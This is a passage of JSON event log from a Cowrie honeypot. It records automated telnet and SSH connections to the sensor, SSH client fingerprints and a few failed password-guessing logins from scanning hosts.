{"eventid":"cowrie.session.closed","duration":33.1646728515625,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:40.077696Z","src_ip":"162.55.233.176","session":"ee0d857a7b68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.790301084518433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:40.553004Z","src_ip":"162.55.233.176","session":"8ed1a5ad2a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77246379852295,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:40.815870Z","src_ip":"162.55.233.176","session":"1325f1185018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"70a45954f6d5","protocol":"telnet","message":"New connection: 162.55.233.176:59980 (159.203.135.109:23) [session: 70a45954f6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:41.158197Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59982,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeec17e4a490","protocol":"telnet","message":"New connection: 162.55.233.176:59982 (159.203.135.109:23) [session: eeec17e4a490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:41.489834Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vV!123345","message":"login attempt [root/vV!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:41.495128Z","src_ip":"213.209.159.158","session":"d19fcc1d10b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59992,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffcf80f3a8f2","protocol":"telnet","message":"New connection: 162.55.233.176:59992 (159.203.135.109:23) [session: ffcf80f3a8f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:41.830054Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60004,"dst_ip":"159.203.135.109","dst_port":23,"session":"914d46c2a1ed","protocol":"telnet","message":"New connection: 162.55.233.176:60004 (159.203.135.109:23) [session: 914d46c2a1ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:41.915612Z"}
{"eventid":"cowrie.session.closed","duration":37.95418119430542,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:42.961251Z","src_ip":"162.55.233.176","session":"9ef05b8a9972","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51018,"dst_ip":"159.203.135.109","dst_port":23,"session":"657393781a96","protocol":"telnet","message":"New connection: 162.55.233.176:51018 (159.203.135.109:23) [session: 657393781a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:43.154380Z"}
{"eventid":"cowrie.session.closed","duration":36.165651082992554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:43.406926Z","src_ip":"162.55.233.176","session":"49f5a0e94ea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51020,"dst_ip":"159.203.135.109","dst_port":23,"session":"b35fb966b320","protocol":"telnet","message":"New connection: 162.55.233.176:51020 (159.203.135.109:23) [session: b35fb966b320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:43.898850Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51030,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a92d9bad67f","protocol":"telnet","message":"New connection: 162.55.233.176:51030 (159.203.135.109:23) [session: 4a92d9bad67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:43.980776Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51032,"dst_ip":"159.203.135.109","dst_port":23,"session":"03d4852e775f","protocol":"telnet","message":"New connection: 162.55.233.176:51032 (159.203.135.109:23) [session: 03d4852e775f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:44.354549Z"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:44.565730Z","src_ip":"213.209.159.158","session":"d19fcc1d10b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.28204369544983,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:44.603852Z","src_ip":"162.55.233.176","session":"3f3b0bbc6fd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51038,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a4c9ff8859a","protocol":"telnet","message":"New connection: 162.55.233.176:51038 (159.203.135.109:23) [session: 0a4c9ff8859a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:44.660519Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":50290,"dst_ip":"10.17.0.5","dst_port":22,"session":"cba06a99c864","protocol":"ssh","message":"New connection: 213.209.159.158:50290 (10.17.0.5:22) [session: cba06a99c864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:44.664966Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51042,"dst_ip":"159.203.135.109","dst_port":23,"session":"e38721be286c","protocol":"telnet","message":"New connection: 162.55.233.176:51042 (159.203.135.109:23) [session: e38721be286c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:45.905966Z"}
{"eventid":"cowrie.session.closed","duration":31.737977266311646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:46.001307Z","src_ip":"162.55.233.176","session":"0f72a8c441aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33066,"dst_ip":"10.17.0.5","dst_port":23,"session":"28694105f549","protocol":"telnet","message":"New connection: 206.189.32.23:33066 (10.17.0.5:23) [session: 28694105f549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:46.145798Z"}
{"eventid":"cowrie.session.closed","duration":31.998736143112183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:46.403411Z","src_ip":"162.55.233.176","session":"79129b877666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51044,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e42d3850b34","protocol":"telnet","message":"New connection: 162.55.233.176:51044 (159.203.135.109:23) [session: 6e42d3850b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:46.853379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:47.065210Z","src_ip":"213.209.159.158","session":"cba06a99c864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:47.068610Z","src_ip":"213.209.159.158","session":"cba06a99c864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51046,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4f40c9620f9","protocol":"telnet","message":"New connection: 162.55.233.176:51046 (159.203.135.109:23) [session: c4f40c9620f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:47.751765Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51056,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b46abac6024","protocol":"telnet","message":"New connection: 162.55.233.176:51056 (159.203.135.109:23) [session: 4b46abac6024]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:47.845586Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34072,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc957d491743","protocol":"telnet","message":"New connection: 206.189.32.23:34072 (10.17.0.5:23) [session: cc957d491743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:48.176589Z"}
{"eventid":"cowrie.session.closed","duration":31.299543857574463,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:48.556271Z","src_ip":"162.55.233.176","session":"630882c0c796","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.35653305053711,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:49.642948Z","src_ip":"162.55.233.176","session":"6323d066131d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.598883390426636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:49.650070Z","src_ip":"162.55.233.176","session":"dd814665a056","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50169372558594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:50.053136Z","src_ip":"162.55.233.176","session":"e77cb6567c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51062,"dst_ip":"159.203.135.109","dst_port":23,"session":"05241dcd5aa7","protocol":"telnet","message":"New connection: 162.55.233.176:51062 (159.203.135.109:23) [session: 05241dcd5aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:50.671756Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51068,"dst_ip":"159.203.135.109","dst_port":23,"session":"0deabaefb7b9","protocol":"telnet","message":"New connection: 162.55.233.176:51068 (159.203.135.109:23) [session: 0deabaefb7b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:50.741288Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"114310394f96","protocol":"telnet","message":"New connection: 162.55.233.176:51070 (159.203.135.109:23) [session: 114310394f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:50.781157Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51078,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d76fb465327","protocol":"telnet","message":"New connection: 162.55.233.176:51078 (159.203.135.109:23) [session: 0d76fb465327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:50.993127Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51084,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc4c2df60f7","protocol":"telnet","message":"New connection: 162.55.233.176:51084 (159.203.135.109:23) [session: bdc4c2df60f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:51.040796Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d503c584b2","protocol":"telnet","message":"New connection: 162.55.233.176:51096 (159.203.135.109:23) [session: 04d503c584b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:51.149525Z"}
{"eventid":"cowrie.session.closed","duration":38.4812376499176,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:51.600687Z","src_ip":"162.55.233.176","session":"f51b859faaed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09378981590271,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:51.852126Z","src_ip":"162.55.233.176","session":"db3aa9bb4592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51104,"dst_ip":"159.203.135.109","dst_port":23,"session":"1992173365fd","protocol":"telnet","message":"New connection: 162.55.233.176:51104 (159.203.135.109:23) [session: 1992173365fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:51.965071Z"}
{"eventid":"cowrie.session.closed","duration":35.95780086517334,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:52.520908Z","src_ip":"162.55.233.176","session":"7652cd4b2dec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51116,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cab64302d7d","protocol":"telnet","message":"New connection: 162.55.233.176:51116 (159.203.135.109:23) [session: 2cab64302d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:52.532192Z"}
{"eventid":"cowrie.session.closed","duration":1.8973286151885986,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.046753Z","src_ip":"162.55.233.176","session":"04d503c584b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56304,"dst_ip":"159.203.135.109","dst_port":23,"session":"54a92f2b1f14","protocol":"telnet","message":"New connection: 162.55.233.176:56304 (159.203.135.109:23) [session: 54a92f2b1f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.253352Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56308,"dst_ip":"159.203.135.109","dst_port":23,"session":"2354d12d9e50","protocol":"telnet","message":"New connection: 162.55.233.176:56308 (159.203.135.109:23) [session: 2354d12d9e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.457507Z"}
{"eventid":"cowrie.session.closed","duration":32.240153551101685,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.675047Z","src_ip":"162.55.233.176","session":"261baa1b7429","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.772130489349365,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.797326Z","src_ip":"162.55.233.176","session":"9f22063004ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20559549331665,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.832043Z","src_ip":"162.55.233.176","session":"72c50046899d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04430341720581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:53.925381Z","src_ip":"162.55.233.176","session":"b75076219f28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5830ae85d23a","protocol":"telnet","message":"New connection: 162.55.233.176:56312 (159.203.135.109:23) [session: 5830ae85d23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:55.413971Z"}
{"eventid":"cowrie.session.closed","duration":32.0686194896698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:56.039907Z","src_ip":"162.55.233.176","session":"a08b4e597fa6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vk","message":"login attempt [root/vk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:56.144585Z","src_ip":"213.209.159.158","session":"cba06a99c864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56318,"dst_ip":"159.203.135.109","dst_port":23,"session":"53da50b7f65a","protocol":"telnet","message":"New connection: 162.55.233.176:56318 (159.203.135.109:23) [session: 53da50b7f65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:56.535072Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56328,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a3080c150fe","protocol":"telnet","message":"New connection: 162.55.233.176:56328 (159.203.135.109:23) [session: 3a3080c150fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:56.959500Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56342,"dst_ip":"159.203.135.109","dst_port":23,"session":"13724391702c","protocol":"telnet","message":"New connection: 162.55.233.176:56342 (159.203.135.109:23) [session: 13724391702c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:57.366957Z"}
{"eventid":"cowrie.session.closed","duration":36.55626964569092,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:57.853541Z","src_ip":"162.55.233.176","session":"962764c68ef2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56354,"dst_ip":"159.203.135.109","dst_port":23,"session":"d71ab3119656","protocol":"telnet","message":"New connection: 162.55.233.176:56354 (159.203.135.109:23) [session: d71ab3119656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:57.929144Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56356,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e359fc49331","protocol":"telnet","message":"New connection: 162.55.233.176:56356 (159.203.135.109:23) [session: 2e359fc49331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:57.932926Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56366,"dst_ip":"159.203.135.109","dst_port":23,"session":"85674981530d","protocol":"telnet","message":"New connection: 162.55.233.176:56366 (159.203.135.109:23) [session: 85674981530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:58.064866Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56378,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e26b43d228","protocol":"telnet","message":"New connection: 162.55.233.176:56378 (159.203.135.109:23) [session: 06e26b43d228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.353086Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":55186,"dst_ip":"10.17.0.5","dst_port":22,"session":"72bf120fedef","protocol":"ssh","message":"New connection: 38.137.11.14:55186 (10.17.0.5:22) [session: 72bf120fedef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.543118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.547061Z","src_ip":"38.137.11.14","session":"72bf120fedef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.579787731170654,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.590255Z","src_ip":"188.208.141.113","session":"01ab04d6a1dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.671122Z","src_ip":"213.209.159.158","session":"cba06a99c864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":51220,"dst_ip":"10.17.0.5","dst_port":22,"session":"63a3bb9258cd","protocol":"ssh","message":"New connection: 213.209.159.158:51220 (10.17.0.5:22) [session: 63a3bb9258cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.757796Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:53:59.781894Z","src_ip":"38.137.11.14","session":"72bf120fedef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56388,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b9bb67fdef3","protocol":"telnet","message":"New connection: 162.55.233.176:56388 (159.203.135.109:23) [session: 0b9bb67fdef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:00.365434Z"}
{"eventid":"cowrie.session.closed","duration":40.89233589172363,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:00.654945Z","src_ip":"188.208.141.113","session":"e660199e113b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"poiuyt","message":"login attempt [test/poiuyt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:00.760182Z","src_ip":"38.137.11.14","session":"72bf120fedef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56396,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ff9eb38f761","protocol":"telnet","message":"New connection: 162.55.233.176:56396 (159.203.135.109:23) [session: 7ff9eb38f761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:00.789437Z"}
{"eventid":"cowrie.session.closed","duration":31.146692276000977,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:00.818234Z","src_ip":"162.55.233.176","session":"52d964bd4cbc","protocol":"telnet"}
